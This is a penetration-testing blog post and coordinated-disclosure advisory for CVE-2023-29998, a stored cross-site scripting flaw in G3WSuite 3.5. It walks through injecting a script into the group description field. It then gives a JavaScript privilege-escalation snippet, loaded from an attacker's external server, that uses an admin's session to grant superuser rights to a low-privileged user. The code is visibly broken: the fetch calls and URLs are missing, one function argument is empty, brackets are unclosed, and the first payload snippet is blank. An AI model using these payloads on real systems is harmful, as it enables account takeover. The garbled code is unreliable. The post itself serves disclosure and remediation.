GIS3W: Persistent XSS in G3WSuite 3.5 – CVE-2023-29998

Back to Posts

GIS3W: Persistent XSS in G3WSuite 3.5 – CVE-2023-29998

Reading Time: 6 minutes

GIS3W: Persistent XSS in G3WSuite 3.5 – CVE-2023-29998


During an engagement on a client’s public infrastructure, we detected an exposed installation of G3WSuite. Since we were asked to perform a black box pentest on the G3WSuite installation, we had to find a way to gather as much information about the target as possible. Luckily for us, the whole G3WSuite codebase is hosted on GitHub (link here), and the maintainers provided very easy-to-follow setup instructions. Playing around with a local installation of G3WSuite for a while, we found a persistent Cross-Site Scripting (XSS) vulnerability.

Advisory – CVE-2023-29998

CVE-2023-29998 – GIS3W: Persistent XSS in G3WSuite 3.5 High
A Cross-site scripting (XSS) vulnerability in the content editor in Gis3W g3w-suite 3.5 allows remote authenticated users to inject arbitrary web script or HTML via the description parameter.
Always filter user-provided input as strictly as possible through server-side validations. Depending on the specific context, encode all the special characters to prevent them to be interpreted.
Category A3 – Injection: Cross-Site Scripting (XSS) Stored (CWE-79, CAPEC-592)
CVSS v3.1 Base Score: 8.9
Vector: AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:H/A:H
Affected product G3WSuite 3.5
Account editor user
Vulnerable resources
Description widgets

Technical details

Environment setup

After a successful installation of G3WSuite version  3.5 following the instructions detailed here, the landing page of the application should look like the one shown in Figure 01.

Figure 01 – G3WSuite landing page

Log in the application backend as the admin user and create a low-privileged user, named alice (a.k.a. the attacker), with editor rights assigned to, as shown in Figure 02 (use built-in roles such as Editor Level 1) ;  notice that other privileges (superuser, staff) should not be assigned to alice.

Figure 02 – Users view from the admin dashboard

Create a new cartographic group, named Cartograhpic Group, and select alice as the Editor1 user role in the ACL Users section of the newly created group, as shown in Figure 03. This step is necessary to allow alice to edit the group input fields (Name, Title, Description, …).

Figure 03 – Admin view of Cartographic group

Payload Delivery

Log in to the backend as alice, then select the edit option next to the Cartographic group card in order  to enter edit mode (this would not be possible if  alice was not granted Editor1 user role).

From the buttons at the top of theDescription widget (Figure 03, Figure 04), we assumed that this field could be used for embedding HTML content inside the group description. From an attacker perspective this is a great place to hunt for XSS.

Figure 04 – Alice view of Cartographic group

The proof of concept in Snippet 01 is used to inject and execute a simple XSS payload.


Snippet 01 – XSS payload used to execute the alert function

The execution of the alert() function is sufficient to demonstrate that an input field is vulnerable to JavaScript injection, while the visualization of the document.domain element proves that it is possible to access DOM elements using XSS.

Intercept the HTTP request used to update the group information with a web proxy and add the XSS payload shown in Snippet 01 to the description text.

Figure 05 – HTTP request containing the XSS payload to execute the alert function

Once the Description field has been updated (Figure 05), the XSS payload is saved by the backend. The main feature of a persistent XSS is the possibility to store payloads for later execution.

Payload Execution

Every time a user logs in via the administration page (Figure 06), the application loads and execute the injected payload, as shown in Figure 07. Let’s show this by accessing the application as admin.

Figure 06 – Administration login page

The alert(document.domain) payload executes as soon as the user logs in (Figure 07). Notice that no further actions are required for the malicious code to activate.

Figure 07 – XSS payload executed as the user logs in

Privilege Escalation

After reviewing the possibility to execute JavaScript within the context of any (admin included) user (Figure 07), we tried to demonstrate that the vulnerability could be leveraged to obtain admin privileges.

Since the HttpOnly attribute protected the session cookies from access through JavaScript code, the standard cookie-stealing XSS attack was not possible.

It was, however, possible for an attacker to hijack another (admin) user session to performs privileged operations. After a quick analysis of the Django administrative panel, we developed a simple JavaScript snippet, named privesc.js (Snippet 02), that could be used to assign superuser privileges to alice.

// content of privesc.js
// type the name of the user to elevate
const user = "alice"

// STEP 1: navigate to the django admin panel
    .then(response => response.text())
    .then(html => {
        var parser = new DOMParser()
        var doc = parser.parseFromString(html, 'text/html')
        var userUpdateLink = ""
        var userLink = doc.querySelectorAll('a[href*="/en/django-admin/auth/user/"]')
        // navigate to the specified user update page
        userLink.forEach(link => {

            // STEP 2: access the specified user update page
            if (link.textContent.includes(user)) {
                userUpdateLink = link.href;
                console.log("[+] Found URL: "+userUpdateLink)
                .then(response => response.text())
                .then(html => {
                    var parser = new DOMParser()
                    var doc = parser.parseFromString(html, 'text/html')

                    var formData = new FormData()

                    inputs = doc.querySelectorAll('input')
                    inputs.forEach(input => {
                        formData.append(, input.value)

                    // missing data
                    formData.append("groups", '4')
                    formData.append("user_permissions", '9')
                    formData.append("userdata-0-department", "")
                    formData.append("userdata-__prefix__-department", "")

                    // select id=id_userbackend-0-backend
                    var backend = doc.querySelectorAll('#id_userbackend-0-backend > option')[0].value

                    formData.append("userbackend-0-backend", backend)
                    formData.append("userbackend-0-options", "")
                    formData.append("userbackend-__prefix__-backend", backend)
                    formData.append("userbackend-__prefix__-options", "")

                    // images
                    const blob = new Blob([''], { type: "application/octet-stream" });
                    formData.set("userdata-0-avatar", blob, "")
                    formData.set("userdata-__prefix__-avatar", blob, "")

                    // remove useless commands

                    // set superuser privileges to the user
                    formData.set("is_superuser", "on")

                    // STEP 3: update the specified user via POST request
                    fetch(userUpdateLink, {
                        method: 'POST',
                        body: formData
                    .then(response => response.text())
                    .then(html => {
                        console.log("[+] User "+user+" updated!")
                    .catch(error => console.error(error));
    .catch(error => console.error(error))

Snippet 02 – JavaScript code used to update alice privileges

We configured an external web server, as shown in Figure 08, that we used to serve the privesc.js script (Snippet 02).

Figure 08 – External server setup

Logged in as alice, we injected the payload in Snippet 03 inside the vulnerable request, in order to load the malicious privesc.js script from the external web server, as shown in Figure 09.

<script src=""></script>

Snippet 03 – XSS payload used to load the external script

Figure 09 – HTTP request containing the XSS payload used for privilege escalation

As admin logged in, the external script executed the attack, as shown in the victim browser console in Figure 10.

Figure 10 – XSS execution log

As it can be seen in Figure 11, alice was assigned the superuser role by the JavaScript payload execution, and could therefore access the administration panel of G3WSuite.

Figure 11 – Users view from the admin dashboard – logged in as alice

Concluding remarks

In this blog post we showed that it was possible to compromise the security of an application that includes a vulnerable third-party component missing the proper sanitizations. Specifically, the vulnerability described here allowed an editor user to inject arbitrary JavaScript code inside the application backend. The injected client-side code would be executed every time a user logged in. Despite the session cookies were protected against XSS attacks, an attacker could exploit this vulnerability to impersonate other—possibly administrative—users, in order to:

  • create/update/remove users (privilege escalation)
  • reset the administrator password (DoS)
  • replace the content of the application (website defacement)

It is therefore recommended to always enforce validations on the user-supplied (and therefore potentially malicious) input regarding the application components.

Disclosure Timeline

  • 01/03/2023 – Initial contact with GIS3W
  • 06/03/2023 – GIS3W acknowledges the problem and decides to work with Yarix for a coordinated disclosure
  • 08/05/2023 – MITRE assigned CVE-2023-29998 to the vulnerability
  • 30/06/2023 – Full disclosure

Resources & References


Jacopo Talamini is a member of Yarix’s Red Team. He is a former PhD student and a hacker wannabe who enjoys banging his head against the wall in an attempt to understand assembly code.

Share this post

Back to Posts